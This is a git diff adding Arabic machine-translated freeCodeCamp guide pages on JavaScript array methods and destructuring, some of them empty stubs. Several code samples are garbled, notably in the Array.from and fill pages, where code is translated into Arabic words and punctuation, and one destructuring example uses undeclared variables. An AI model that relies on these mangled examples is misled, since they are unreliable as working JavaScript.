+ [a, b] = [1, 2]; 
+ console.log(a); // 1 
+ console.log(b); // 2 
+` 
+
+### قيم افتراضية
+
+يمكن تعيين متغير افتراضي ، في حالة أن القيمة unpacked من الصفيف غير `undefined` .
+
+ `var a, b; 
+ 
+ [a=5, b=7] = [1]; 
+ console.log(a); // 1 
+ console.log(b); // 7 
+` 
+
+### تحليل مجموعة من عاد من وظيفة
+
+كان من الممكن دائمًا إرجاع صفيف من إحدى الوظائف. يمكن أن تجعل عملية التدمير العمل مع قيمة إرجاع صفيف أكثر إيجازًا.
+
+في هذا المثال ، تقوم `getNames()` بارجاع القيم `['neel', 'meet']` `getNames()` لها ، والتي يمكن تحليلها في سطر واحد مع destructuring.
+
+ `function getNames() { 
+  return ['neel', 'meet']; 
+ } 
+ 
+ var neel, meet; 
+ [nameOne, nameTwo] = getNames(); 
+ console.log(nameOne); // neel 
+ console.log(nameTwo); // meet 
+` 
+
+### تجاهل بعض القيم التي تم إرجاعها
+
+يمكنك تجاهل قيم الإرجاع التي لا تهتم بها:
+
+ `function getNames() { 
+  return ['neel', 'meet', 'darshan']; 
+ } 
+ 
+ var [nameOne, , nameThree] = getNames(); 
+ console.log(nameOne); // neel 
+ console.log(nameThree); // darshan 
+` 
+
+يمكنك أيضًا تجاهل جميع القيم التي تم إرجاعها:
+
+ `[,,] = getNames(); 
+` 
+
+### تعيين بقية صفيف إلى متغير
+
+عند تدمير صفيف ، يمكنك فك وتعيين الجزء المتبقي منه إلى متغير باستخدام نمط الباقي:
+
+ `var [a, ...b] = [1, 2, 3]; 
+ console.log(a); // 1 
+ console.log(b); // [2, 3] 
+` 
+
+لاحظ أنه سيتم طرح `SyntaxError` إذا تم استخدام فاصلة زائدة على الجانب الأيسر مع عنصر راحة:
+
+ `var [a, ...b,] = [1, 2, 3]; 
+ // SyntaxError: rest element may not have a trailing comma 
+` 
+
+انظر أيضا: **صفيف Destructuring** | [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#Array_destructuring)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-from/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-from/index.md
new file mode 100644
index 0000000000..d24049b2e9
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-from/index.md
@@ -0,0 +1,19 @@
+---
+title: Array from
+localeTitle: صفيف من
+---
+## صفيف من
+
+تقوم طريقة 'Array.from ()' بإنشاء مثيل صفيف جديد من كائن شبيه بالمصفوفة أو متكرر.
+
+### بناء الجملة:
+
+'' ' Array.from (arrayLike \[، mapFn \[، thisArg\]\]) '' '
+
+### مثال:
+
+'' ' Array.from ( 'فو')؛ // \["f"، "o"، "o"\] '' '
+
+#### معلومات اكثر:
+
+[وثائق MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/from)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-isarray/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-isarray/index.md
new file mode 100644
index 0000000000..60ec301eb5
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-isarray/index.md
@@ -0,0 +1,37 @@
+---
+title: Array isArray
+localeTitle: صفيف isArray
+---
+إرجاع الأسلوب `Array.isArray()` `true` إذا كان كائن صفيف ، `false` إذا لم يكن.
+
+## بناء الجملة
+
+ `Array.isArray(obj) 
+` 
+
+### المعلمات
+
+**obj** الكائن المراد فحصه.
+
+[وصلة MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray) | [رابط MSDN](https://msdn.microsoft.com/en-us/LIBRary/ff848265%28v=vs.94%29.aspx)
+
+## أمثلة
+
+ `// all following calls return true 
+ Array.isArray([]); 
+ Array.isArray([1]); 
+ Array.isArray(new Array()); 
+ // Little known fact: Array.prototype itself is an array: 
+ Array.isArray(Array.prototype); 
+ 
+ // all following calls return false 
+ Array.isArray(); 
+ Array.isArray({}); 
+ Array.isArray(null); 
+ Array.isArray(undefined); 
+ Array.isArray(17); 
+ Array.isArray('Array'); 
+ Array.isArray(true); 
+ Array.isArray(false); 
+ Array.isArray({ __proto__: Array.prototype }); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-length/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-length/index.md
new file mode 100644
index 0000000000..77d173b208
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-length/index.md
@@ -0,0 +1,24 @@
+---
+title: Array Length
+localeTitle: طول صفيف
+---
+## طول صفيف
+
+`length` هي خاصية صفائف في JavaScript تقوم بإرجاع أو تعيين عدد العناصر في صفيف معطى.
+
+يمكن إرجاع خاصية `length` صفيف مثل هكذا.
+
+ `let desserts = ["Cake", "Pie", "Brownies"]; 
+ console.log(desserts.length); // 3 
+` 
+
+يمكن استخدام عامل التعيين ، بالتزامن مع خاصية `length` ، لضبط عدد العناصر في صفيف مثل ذلك.
+
+ `let cars = ["Saab", "BMW", "Volvo"]; 
+ cars.length = 2; 
+ console.log(cars.length); // 2 
+` 
+
+#### معلومات اكثر:
+
+https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/Array/length
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-of/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-of/index.md
new file mode 100644
index 0000000000..2836254614
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-of/index.md
@@ -0,0 +1,25 @@
+---
+title: Array of
+localeTitle: مصفوفة من
+---
+## مصفوفة من
+
+ينشئ الأسلوب Array.of () مثيل صفيف جديد مع عدد متغير من الوسائط بغض النظر عن رقم أو نوع الوسائط.
+
+بناء الجملة:
+
+ `Array.of(element0[, element1[, ...[, elementN]]]) 
+` 
+
+## مثال
+
+ `Array.of(7);       // [7] - creates an array with a single element 
+ Array.of(1, 2, 3); // [1, 2, 3] 
+ 
+ Array(7);          // [ , , , , , , ] - creates an empty array with a length property of 7 
+ Array(1, 2, 3);    // [1, 2, 3] 
+` 
+
+#### معلومات اكثر:
+
+لمزيد من المعلومات ، قم بزيارة [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/of)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-concat/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-concat/index.md
new file mode 100644
index 0000000000..838a67f5c2
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-concat/index.md
@@ -0,0 +1,42 @@
+---
+title: Array.prototype.concat
+localeTitle: Array.prototype.concat
+---
+## Array.prototype.concat
+
+ترجع طريقة "concat" إلى صفيف جديد يتألف من عناصر المصفوفة التي تسميها ، متبوعة بعناصر الوسيطات بالترتيب الذي تم تمريرها به.
+
+يمكنك تمرير وسائط متعددة إلى طريقة 'concat'. يمكن أن تكون الوسيطات عبارة عن صفائف ، أو أنواع بيانات مثل booleans ، وسلاسل ، وأرقام.
+
+### بناء الجملة
+
+ `const newArray = array.concat(value1, value2, value3...); 
+` 
+
+### أمثلة
+
+#### تسلسل صفيفتين
+
+ `var cold = ['Blue', 'Green', 'Purple']; 
+ var warm = ['Red', 'Orange', 'Yellow']; 
+ 
+ var result = cold.concat(warm); 
+ 
+ console.log(result); 
+ // results in ['Blue', 'Green', 'Purple', 'Red', 'Orange', 'Yellow']; 
+` 
+
+#### قيمة متسلسلة إلى صفيف
+
+ `const odd = [1, 3, 5, 7, 9]; 
+ const even = [0, 2, 4, 6, 8]; 
+ 
+ const oddAndEvenAndTen = odd.concat(even, 10); 
+ 
+ console.log(oddAndEvenAndTen); 
+ // results in [1, 3, 5, 7, 9, 0, 2, 4, 6, 8, 10]; 
+` 
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/concat)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-copywithin/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-copywithin/index.md
new file mode 100644
index 0000000000..93235e4869
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-copywithin/index.md
@@ -0,0 +1,11 @@
+---
+title: Array.prototype.copyWithin
+localeTitle: Array.prototype.copyWithin
+---
+## Array.prototype.copyWithin
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/array/array-prototype-copywithin/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-entries/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-entries/index.md
new file mode 100644
index 0000000000..bfa0ee686e
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-entries/index.md
@@ -0,0 +1,11 @@
+---
+title: Array.prototype.entries
+localeTitle: Array.prototype.entries
+---
+## Array.prototype.entries
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/array/array-prototype-entries/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-every/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-every/index.md
new file mode 100644
index 0000000000..c45e1efe04
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-every/index.md
@@ -0,0 +1,71 @@
+---
+title: Array.prototype.every
+localeTitle: Array.prototype.every
+---
+تختبر كل طريقة `every()` ما إذا كانت جميع العناصر في الصفيف تجتاز الاختبار الذي نفذته الوظيفة المقدمة.
+
+**بناء الجملة**
+
+ `  arr.every(callback[, thisArg]) 
+` 
+
+## المعلمات
+
+*   **callback** وظيفة لاختبار كل عنصر ، مع أخذ ثلاث حجج:
+    
+    *   **currentValue** (مطلوب)
+        
+        العنصر الحالي قيد المعالجة في الصفيف.
+        
+    *   **مؤشر** (اختياري)
+        
+        فهرس العنصر الحالي الذي تتم معالجته في الصفيف.
+        
+    *   **صفيف** (اختياري)
+        
+        تم استدعاء الصفيف كل.
+        
+*   **thisArg** اختياري. قيمة لاستخدامه عند تنفيذ رد الاتصال.
+    
+
+[وصلة MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/every) | [رابط MSDN](https://msdn.microsoft.com/en-us/LIBRary/ff679981%28v=vs.94%29.aspx)
+
+## وصف
+
+تقوم `every` طريقة باستدعاء وظيفة `callback` مرة واحدة لكل عنصر صفيف ، بترتيب تصاعدي للفهرس ، إلى أن ترجع الدالة `callback` false. إذا تم العثور على عنصر يتسبب في `callback` كاذبة ، فإن كل طريقة تقوم بإرجاع `false` مباشرة. خلاف ذلك ، ترجع كل طريقة `true` .
+
+لا يتم استدعاء وظيفة رد الاتصال للعناصر المفقودة من الصفيف.
+
+بالإضافة إلى كائنات الصفيف ، يمكن استخدام كل أسلوب بواسطة أي كائن له خاصية طول ولديه أسماء خصائص فهرسة رقميًا. `every` لا يتحور الصفيف الذي يطلق عليه.
+
+## أمثلة
+
+ `  function isBigEnough(element, index, array) { 
+    return element >= 10; 
+  } 
+  [12, 5, 8, 130, 44].every(isBigEnough);   // false 
+  [12, 54, 18, 130, 44].every(isBigEnough); // true 
+ 
+  // Define the callback function. 
+  function CheckIfEven(value, index, ar) { 
+      document.write(value + " "); 
+ 
+      if (value % 2 == 0) 
+          return true; 
+      else 
+          return false; 
+  } 
+ 
+  // Create an array. 
+  var numbers = [2, 4, 5, 6, 8]; 
+ 
+  // Check whether the callback function returns true for all of the 
+  // array values. 
+  if (numbers.every(CheckIfEven)) 
+      document.write("All are even."); 
+  else 
+      document.write("Some are not even."); 
+ 
+  // Output: 
+  // 2 4 5 Some are not even. 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-fill/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-fill/index.md
new file mode 100644
index 0000000000..b2ce78b94e
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-fill/index.md
@@ -0,0 +1,26 @@
+---
+title: Array.prototype.fill
+localeTitle: Array.prototype.fill
+---
+## Array.prototype.fill
+
+يملأ الأسلوب fill () كافة العناصر في صفيف ذات قيمة ثابتة.
+
+بناء الجملة:
+
+\`\` \`جافا سكريبت arr.fill (القيمة) arr.fill (القيمة ، البدء) arr.fill (القيمة ، البداية ، النهاية)
+
+ `The fill method takes up to three arguments value, start and end. The start and end arguments are optional with default values of 0 and the length of the this object. 
+ 
+ The fill method is a mutable method, it will change this object itself, and return it, not just return a copy of it. 
+ 
+ ## Examples 
+` 
+
+جافا سكريبت \[1 ، 2 ، 3\] .Fill (4) ؛ // \[4، 4، 4\] \[1 ، 2 ، 3\] .Fill (4 ، 1) ؛ // \[1 ، 4 ، 4\]
+
+var fruits = \["Grape"، "Pear"، "Apple"، "Strawberry"\]؛ fruit.fill ("البطيخ" ، 2 ، 4) ؛ // الموز ، الكمثرى ، البطيخ ، البطيخ \`\` \`
+
+#### معلومات اكثر:
+
+لمزيد من المعلومات ، قم بزيارة [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/fill)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-filter/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-filter/index.md
new file mode 100644
index 0000000000..dad371cf45
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-filter/index.md
@@ -0,0 +1,75 @@
+---
+title: Array.prototype.filter
+localeTitle: Array.prototype.filter
+---
+## Array.prototype.filter
+
+تأخذ طريقة التصفية مصفوفة كمدخل. يأخذ كل عنصر في الصفيف ويطبق بيان شرطي ضده. إذا تم إرجاع هذا الشرطية true ، فسيتم "تنشيط" العنصر إلى صفيف الإخراج.
+
+بمجرد أن يتم "ترشيح" كل عنصر في صفيف الإدخال على هذا النحو ، فإنه يخرج صفيفًا جديدًا يحتوي على كل عنصر يتم إرجاعه إلى true.
+
+في هذا المثال أدناه ، هناك صفيف يحتوي على كائنات متعددة داخله. عادةً ، للتكرار من خلال هذا المصفوفة ، قد تستخدم حلقة for.
+
+في هذه الحالة ، نريد الحصول على جميع الطلاب الذين تزيد درجاتهم عن 90 أو تساويها.
+
+ `var students = [ 
+  { name: 'Quincy', grade: 96 }, 
+  { name: 'Jason', grade: 84 }, 
+  { name: 'Alexis', grade: 100 }, 
+  { name: 'Sam', grade: 65 }, 
+  { name: 'Katie', grade: 90 } 
+ ]; 
+ //Define an array to push student objects to. 
+ var studentsGrades = [] 
+ for (var i = 0; i < students.length; i++) { 
+  //Check if grade is greater than 90 
+  if (students[i].grade >= 90) { 
+    //Add a student to the studentsGrades array. 
+    studentsGrades.push(students[i]) 
+  } 
+ } 
+ 
+ return studentsGrades; // [ { name: 'Quincy', grade: 96 }, { name: 'Alexis', grade: 100 }, { name: 'Katie', grade: 90 } ] 
+` 
+
+هذه الحلقة تعمل ، لكنها طويلة جدًا. كما يمكن أن تصبح مملة للكتابة عن الحلقات مرارًا وتكرارًا للعديد من المصفوفات التي تحتاج إلى تكرارها.
+
+هذا هو حالة استخدام كبيرة للفلتر!
+
+في ما يلي نفس المثال باستخدام الفلتر:
+
+ `var students = [ 
+  { name: 'Quincy', grade: 96 }, 
+  { name: 'Jason', grade: 84 }, 
+  { name: 'Alexis', grade: 100 }, 
+  { name: 'Sam', grade: 65 }, 
+  { name: 'Katie', grade: 90 } 
+ ]; 
+ 
+ var studentGrades = students.filter(function (student) { 
+  //This tests if student.grade is greater than or equal to 90. It returns the "student" object if this conditional is met. 
+  return student.grade >= 90; 
+ }); 
+ 
+ return studentGrades; // [ { name: 'Quincy', grade: 96 }, { name: 'Alexis', grade: 100 }, { name: 'Katie', grade: 90 } ] 
+` 
+
+طريقة التصفية أسرع بكثير للكتابة والنظافة للقراءة بينما لا تزال تحقق نفس الشيء. باستخدام تركيب ES6 ، يمكننا حتى تكرار تكرار حلقة 6-line مع الفلتر:
+
+ `var students = [ 
+  { name: 'Quincy', grade: 96 }, 
+  { name: 'Jason', grade: 84 }, 
+  { name: 'Alexis', grade: 100 }, 
+  { name: 'Sam', grade: 65 }, 
+  { name: 'Katie', grade: 90 } 
+ ]; 
+ 
+ var studentGrades = students.filter(student => student.grade >= 90); 
+ return studentGrades; // [ { name: 'Quincy', grade: 96 }, { name: 'Alexis', grade: 100 }, { name: 'Katie', grade: 90 } ] 
+` 
+
+الفلتر مفيد جدًا وخيارًا رائعًا للصفحات لتصفية المصفوفات مقابل العبارات الشرطية.
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-find/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-find/index.md
new file mode 100644
index 0000000000..e12e28f97f
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-find/index.md
@@ -0,0 +1,68 @@
+---
+title: Array.prototype.find
+localeTitle: Array.prototype.find
+---
+## معلومات
+
+ترجع طريقة `find()` قيمة العنصر الأول في المصفوفة التي تفي بوظيفة الاختبار المقدمة. على خلاف ذلك يتم إرجاع غير معروف. لا تقوم طريقة `find()` بتحويل المصفوفة التي يطلق عليها.
+
+بناء الجملة:
+
+ `arr.find(callback[, thisArg]) 
+` 
+
+##### المعلمات
+
+*   `callback`
+*   دالة يتم تنفيذها على كل قيمة في الصفيف ، مع أخذ ثلاث حجج:
+*   `element`
+    *   العنصر الحالي قيد المعالجة في الصفيف.
+*   `index`
+    *   فهرس العنصر الحالي الذي تتم معالجته في الصفيف.
+*   `array`
+    *   تم استدعاء البحث عن صفيف.
+*   `thisArg` (اختياري)
+*   كائن لاستخدامه كهذا عند تنفيذ رد الاتصال.
+
+##### قيمة الإرجاع
+
+قيمة في الصفيف إذا نجح عنصر في الاختبار ؛ خلاف ذلك ، غير محدد.
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/find)
+
+## أمثلة
+
+سيجد هذا المثال العنصر المناظر في الصفيف ويعيد الكائن منه.
+
+ `let items = [ 
+    {name: 'books', quantity: 2}, 
+    {name: 'movies', quantity: 1}, 
+    {name: 'games', quantity: 5} 
+ ]; 
+ 
+ function findMovies(item) { 
+    return item.name === 'movies'; 
+ } 
+ 
+ console.log(items.find(findMovies)); 
+ 
+ // Output 
+ //  { name: 'movies', quantity: 1 } 
+` 
+
+يوضح المثال التالي إخراج كل معلمة اختيارية إلى وظيفة رد الاتصال. سيؤدي ذلك إلى `undefined` نظرًا لأن أيًا من العناصر لن يعود صحيحًا من وظيفة رد الاتصال.
+
+ `function showInfo(element, index, array) { 
+  console.log('element = ' + element + ', index = ' + index + ', array = ' + array); 
+  return false; 
+ } 
+ 
+ console.log('return = ' + [4, 6, 8, 12].find(showInfo)); 
+ 
+ // Output 
+ //  element = 4, index = 0, array = 4,6,8,12 
+ //  element = 6, index = 1, array = 4,6,8,12 
+ //  element = 8, index = 2, array = 4,6,8,12 
+ //  element = 12, index = 3, array = 4,6,8,12 
+ //  return = undefined 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-findindex/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-findindex/index.md
new file mode 100644
index 0000000000..8156490231
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-findindex/index.md
@@ -0,0 +1,70 @@
+---
+title: Array.prototype.findIndex
+localeTitle: Array.prototype.findIndex
+---
+## معلومات
+
+`findIndex()` الأسلوب `findIndex()` فهرس العنصر الأول في الصفيف الذي يفي بوظيفة الاختبار المقدمة. وإلا يتم إرجاع -1.
+
+لا تقوم طريقة `findIndex()` المصفوفة التي يطلق عليها.
+
+بناء الجملة:
+
+ `arr.findIndex(callback[, thisArg]) 
+` 
+
+##### المعلمات
+
+*   `callback`
+*   دالة يتم تنفيذها على كل قيمة في الصفيف ، مع أخذ ثلاث حجج:
+*   `element`
+    *   العنصر الحالي قيد المعالجة في الصفيف.
+*   `index`
+    *   فهرس العنصر الحالي الذي تتم معالجته في الصفيف.
+*   `array`
+    *   تم استدعاء في findIndex () مجموعة.
+*   `thisArg` (اختياري)
+*   كائن لاستخدامه كهذا عند تنفيذ رد الاتصال.
+
+##### قيمة الإرجاع
+
+فهرس في الصفيف إذا نجح عنصر في الاختبار ؛ خلاف ذلك ، -1.
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/findIndex)
+
+## أمثلة
+
+سيجد هذا المثال العنصر المناظر في المصفوفة ويعيد الفهرس منه.
+
+ `let items = [ 
+    {name: 'books', quantity: 2}, 
+    {name: 'movies', quantity: 1}, 
+    {name: 'games', quantity: 5} 
+ ]; 
+ 
+ function findMovies(item) { 
+    return item.name === 'movies'; 
+ } 
+ 
+ console.log(items.findIndex(findMovies)); 
+ 
+ // Index of 2nd element in the Array is returned, 
+ // so this will result in '1' 
+` 
+
+يوضح المثال التالي إخراج كل معلمة اختيارية إلى وظيفة رد الاتصال. هذا سيعود `-1` لأن أي من العناصر سيعود true من وظيفة رد الاتصال.
+
+ `function showInfo(element, index, array) { 
+  console.log('element = ' + element + ', index = ' + index + ', array = ' + array); 
+  return false; 
+ } 
+ 
+ console.log('return = ' + [4, 6, 8, 12].findIndex(showInfo)); 
+ 
+ // Output 
+ //  element = 4, index = 0, array = 4,6,8,12 
+ //  element = 6, index = 1, array = 4,6,8,12 
+ //  element = 8, index = 2, array = 4,6,8,12 
+ //  element = 12, index = 3, array = 4,6,8,12 
+ //  return = -1 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-foreach/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-foreach/index.md
new file mode 100644
index 0000000000..17a735f941
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-foreach/index.md
@@ -0,0 +1,35 @@
+---
+title: Array.prototype.forEach
+localeTitle: Array.prototype.forEach
+---
+## Array.prototype.forEach
+
+يتم استخدام أسلوب الصفيف 'forEach' للتكرار خلال كل عنصر في صفيف. يتم استدعاء الأسلوب على كائن الصفيف ويتم تمرير دالة تسمى على كل عنصر في الصفيف.
+
+ `var arr = [1, 2, 3, 4, 5]; 
+ 
+ arr.forEach(number => console.log(number * 2)); 
+ 
+ // 2 
+ // 4 
+ // 6 
+ // 8 
+ // 10 
+` 
+
+يمكن أن تأخذ وظيفة رد الاتصال أيضًا معلمة ثانية للفهرس في حال كنت بحاجة إلى الرجوع إلى فهرس العنصر الحالي في الصفيف.
+
+ ``var arr = [1, 2, 3, 4, 5]; 
+ 
+ arr.forEach((number, i) => console.log(`${number} is at index ${i}`)); 
+ 
+ // '1 is at index 0' 
+ // '2 is at index 1' 
+ // '3 is at index 2' 
+ // '4 is at index 3' 
+ // '5 is at index 4' 
+`` 
+
+#### معلومات اكثر:
+
+[مقال MDN على Array.prototype.forEach ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-includes/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-includes/index.md
new file mode 100644
index 0000000000..9317ba8e40
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-includes/index.md
@@ -0,0 +1,23 @@
+---
+title: Array.prototype.includes
+localeTitle: Array.prototype.includes
+---
+## Array.prototype.includes
+
+تحدد الطريقة `includes()` ما إذا كان الصفيف يتضمن قيمة. تقوم بإرجاع true أو false.
+
+يستغرق اثنين من الحجج:
+
+1.  `searchValue` - العنصر المطلوب البحث عنه في المصفوفة.
+2.  `fromIndex` - الموضع في المصفوفة لبدء البحث عن searchvalue `searchValue` . إذا تم توفير قيمة سالبة ، فإنها تبدأ من طول الصفيف مطروحًا منها القيمة سالبة.
+
+### مثال
+
+ `const a = [1, 2, 3]; 
+ a.includes(2); // true 
+ a.includes(4); // false 
+` 
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/includes)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-indexof/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-indexof/index.md
new file mode 100644
index 0000000000..01e00307bf
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-indexof/index.md
@@ -0,0 +1,42 @@
+---
+title: Array.prototype.indexOf
+localeTitle: Array.prototype.indexOf
+---
+## Array.prototype.indexOf
+
+إرجاع الأسلوب `indexOf()` الفهرس الأول الذي يمكن العثور على عنصر معين في الصفيف. إذا كان العنصر غير موجود ، فسوف يقوم بإرجاع -1.
+
+**بناء الجملة**
+
+ `  arr.indexOf(searchElement[, fromIndex]) 
+` 
+
+## المعلمات
+
+*   **searchElement** العنصر الذي تبحث عنه
+    
+*   **fromIndex** اختياري. الفهرس الذي تريد بدء البحث عليه. إذا كان fromIndex أكبر من أو يساوي طول الصفيف ، فلن يتم البحث في الصفيف وترجع الطريقة -1. إذا كان fromIndex عبارة عن رقم سالب ، فإنه يعتبر إزاحة من نهاية الصفيف (لا يزال يتم البحث عن الصفيف من هناك). القيمة الافتراضية هي 0 ، مما يعني أنه يتم البحث في الصفيف بأكمله.
+    
+
+## وصف
+
+تأخذ طريقة `indexOf` كل عنصر من عناصر الصفيف في ترتيب الفهرسة التصاعدي `searchElement` منه مقابل `searchElement` باستخدام المساواة التامة ( `===` ). بمجرد أن يعثر على عنصر يقوم بإرجاع `true` ، فإنه يقوم بإرجاع الفهرس الخاص به.
+
+## أمثلة
+
+ `var array = [1, 2, 4, 1, 7] 
+ 
+ array.indexOf(1); // 0 
+ array.indexOf(7); // 4 
+ array.indexOf(6); // -1 
+ array.indexOf('1'); // -1 
+ array.indexOf('hello'); // -1 
+ array.indexOf(1, 2); // 3 
+ array.indexOf(1, -3); // 3 
+` 
+
+### معلومات اكثر:
+
+[وصلة MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf)
+
+[رابط MSDN](https://docs.microsoft.com/en-us/scripting/javascript/reference/indexof-method-array-javascript)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-join/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-join/index.md
new file mode 100644
index 0000000000..c0d43cf1b0
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-join/index.md
@@ -0,0 +1,37 @@
+---
+title: Array.prototype.join
+localeTitle: Array.prototype.join
+---
+سيقوم أسلوب مصفوفة جافا سكريبت `.join()` بدمج جميع عناصر الصفيف في سلسلة واحدة.
+
+**بناء الجملة**
+
+ `  var array = ["Lorem", "Ipsum", "Dolor", "Sit"]; 
+  var str = array.join([separator]); 
+` 
+
+## المعلمات
+
+**الفاصل**
+
+اختياري. يحدد السلسلة التي سيتم استخدامها لفصل كل عنصر في الصفيف الأصلي. إذا لم يكن الفاصل عبارة عن سلسلة ، فسيتم تحويلها إلى سلسلة. إذا لم يتم تقديم معلمة فاصل ، فسيتم فصل عناصر الصفيف بفاصلة بشكل افتراضي. إذا كان الفاصل عبارة عن سلسلة فارغة `""` ، يتم ضم كل عناصر الصفوف بدون حرف فاصل بينهما.
+
+## وصف
+
+`.join()` ينضم إلى جميع عناصر المصفوفة في سلسلة واحدة. إذا كانت أي من عناصر الصفيف `undefined` أو `null` ، فسيتم تحويل هذا العنصر إلى السلسلة الفارغة `""` .
+
+## أمثلة
+
+**باستخدام `.join()` أربع طرق مختلفة**
+
+ `  var array = ["Lorem", "Ipsum", "Dolor" ,"Sit"]; 
+ 
+  var join1 = array.join();           /* assigns "Lorem,Ipsum,Dolor,Sit" to join1 variable 
+                                         (because no separator was provided .join() 
+                                         defaulted to using a comma) */ 
+  var join2 = array.join(", ");       // assigns "Lorem, Ipsum, Dolor, Sit" to join2 variable 
+  var join3 = array.join(" + ");      // assigns "Lorem + Ipsum + Dolor + Sit" to join3 variable 
+  var join4 = array.join("");         // assigns "LoremIpsumDolorSit" to join4 variable 
+` 
+
+المصدر: [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/join)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-lastindexof/index.md b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-lastindexof/index.md
new file mode 100644
index 0000000000..7d3f0c32a9
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/array/array-prototype-lastindexof/index.md
@@ -0,0 +1,72 @@
+---
+title: Array.prototype.lastIndexOf
+localeTitle: Array.prototype.lastIndexOf
+---
+## Array.prototype.lastIndexof
+
